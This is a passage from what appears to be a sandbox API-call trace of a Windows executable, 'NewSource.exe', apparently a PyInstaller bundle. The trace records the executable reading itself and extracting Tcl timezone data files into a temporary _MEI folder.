CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.890] GetFileType (hFile=0x10c) returned 0x1 [0038.890] htonl (hostlong=0x91255900) returned 0x592591 [0038.890] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dd591, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.890] htonl (hostlong=0x5b060000) returned 0x65b [0038.890] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x65b) returned 0x55e278 [0038.890] htonl (hostlong=0x5b060000) returned 0x65b [0038.890] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.891] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.891] htonl (hostlong=0xfc200000) returned 0x20fc [0038.891] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20fc) returned 0x561090 [0038.891] htonl (hostlong=0x5b060000) returned 0x65b [0038.891] htonl (hostlong=0xfc200000) returned 0x20fc [0038.891] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563198 [0038.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563198 | out: hHeap=0x530000) returned 1 [0038.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.891] CloseHandle (hObject=0x10c) returned 1 [0038.891] GetLastError () returned 0x0 [0038.891] SetLastError (dwErrCode=0x0) [0038.891] GetLastError () returned 0x0 [0038.891] SetLastError (dwErrCode=0x0) [0038.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.891] GetFileType (hFile=0x10c) returned 0x1 [0038.891] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.892] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.892] CloseHandle (hObject=0x10c) returned 1 [0038.892] GetLastError () returned 0x0 [0038.892] SetLastError (dwErrCode=0x0) [0038.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.892] GetFileType (hFile=0x10c) returned 0x1 [0038.892] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.892] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.893] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.893] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.893] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.893] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.893] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.893] CloseHandle (hObject=0x10c) returned 1 [0038.893] GetLastError () returned 0x0 [0038.893] SetLastError (dwErrCode=0x0) [0038.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.893] GetFileType (hFile=0x10c) returned 0x1 [0038.893] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.893] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.893] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.893] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.893] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.893] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.893] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.893] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.893] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.893] CloseHandle (hObject=0x10c) returned 1 [0038.893] GetLastError () returned 0x0 [0038.893] SetLastError (dwErrCode=0x0) [0038.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Havana") returned 71 [0038.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Havana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\havana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.894] GetLastError () returned 0x2 [0038.894] SetLastError (dwErrCode=0x2) [0038.894] GetLastError () returned 0x2 [0038.894] SetLastError (dwErrCode=0x2) [0038.894] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Havana", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Havana", lpFilePart=0x0) returned 0x46 [0038.894] GetLastError () returned 0x2 [0038.894] SetLastError (dwErrCode=0x2) [0038.894] GetLastError () returned 0x2 [0038.894] SetLastError (dwErrCode=0x2) [0038.894] GetLastError () returned 0x2 [0038.894] SetLastError (dwErrCode=0x2) [0038.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Havana") returned 71 [0038.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Havana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\havana"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.895] GetFileType (hFile=0x10c) returned 0x1 [0038.895] htonl (hostlong=0xfc200000) returned 0x20fc [0038.895] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.896] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.896] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xfc, lpOverlapped=0x0) returned 1 [0038.896] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.896] CloseHandle (hObject=0x10c) returned 1 [0038.897] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.897] htonl (hostlong=0x30000000) returned 0x30 [0038.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.898] GetFileType (hFile=0x10c) returned 0x1 [0038.898] htonl (hostlong=0xec2b5900) returned 0x592bec [0038.898] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ddbec, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.898] htonl (hostlong=0xfc000000) returned 0xfc [0038.898] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfc) returned 0x550600 [0038.898] htonl (hostlong=0xfc000000) returned 0xfc [0038.898] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.899] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.899] htonl (hostlong=0x53020000) returned 0x253 [0038.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x253) returned 0x550708 [0038.899] htonl (hostlong=0xfc000000) returned 0xfc [0038.899] htonl (hostlong=0x53020000) returned 0x253 [0038.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.899] CloseHandle (hObject=0x10c) returned 1 [0038.899] GetLastError () returned 0x0 [0038.899] SetLastError (dwErrCode=0x0) [0038.899] GetLastError () returned 0x0 [0038.899] SetLastError (dwErrCode=0x0) [0038.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.899] GetFileType (hFile=0x10c) returned 0x1 [0038.899] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.899] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.899] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.899] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.899] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.899] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.899] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.899] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.900] CloseHandle (hObject=0x10c) returned 1 [0038.900] GetLastError () returned 0x0 [0038.900] SetLastError (dwErrCode=0x0) [0038.900] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.900] GetFileType (hFile=0x10c) returned 0x1 [0038.900] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.900] CloseHandle (hObject=0x10c) returned 1 [0038.900] GetLastError () returned 0x0 [0038.900] SetLastError (dwErrCode=0x0) [0038.900] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.900] GetFileType (hFile=0x10c) returned 0x1 [0038.901] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.901] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.901] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.901] CloseHandle (hObject=0x10c) returned 1 [0038.901] GetLastError () returned 0x0 [0038.901] SetLastError (dwErrCode=0x0) [0038.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Hermosillo") returned 75 [0038.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Hermosillo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\hermosillo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.901] GetLastError () returned 0x2 [0038.901] SetLastError (dwErrCode=0x2) [0038.901] GetLastError () returned 0x2 [0038.901] SetLastError (dwErrCode=0x2) [0038.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Hermosillo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Hermosillo", lpFilePart=0x0) returned 0x4a [0038.901] GetLastError () returned 0x2 [0038.901] SetLastError (dwErrCode=0x2) [0038.901] GetLastError () returned 0x2 [0038.901] SetLastError (dwErrCode=0x2) [0038.901] GetLastError () returned 0x2 [0038.901] SetLastError (dwErrCode=0x2) [0038.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Hermosillo") returned 75 [0038.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Hermosillo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\hermosillo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.902] GetFileType (hFile=0x10c) returned 0x1 [0038.902] htonl (hostlong=0x53020000) returned 0x253 [0038.902] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.902] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x253, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x253, lpOverlapped=0x0) returned 1 [0038.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.903] CloseHandle (hObject=0x10c) returned 1 [0038.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550708 | out: hHeap=0x530000) returned 1 [0038.903] htonl (hostlong=0x30000000) returned 0x30 [0038.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.904] GetFileType (hFile=0x10c) returned 0x1 [0038.904] htonl (hostlong=0xe82c5900) returned 0x592ce8 [0038.904] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ddce8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.904] htonl (hostlong=0x93050000) returned 0x593 [0038.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x593) returned 0x550600 [0038.904] htonl 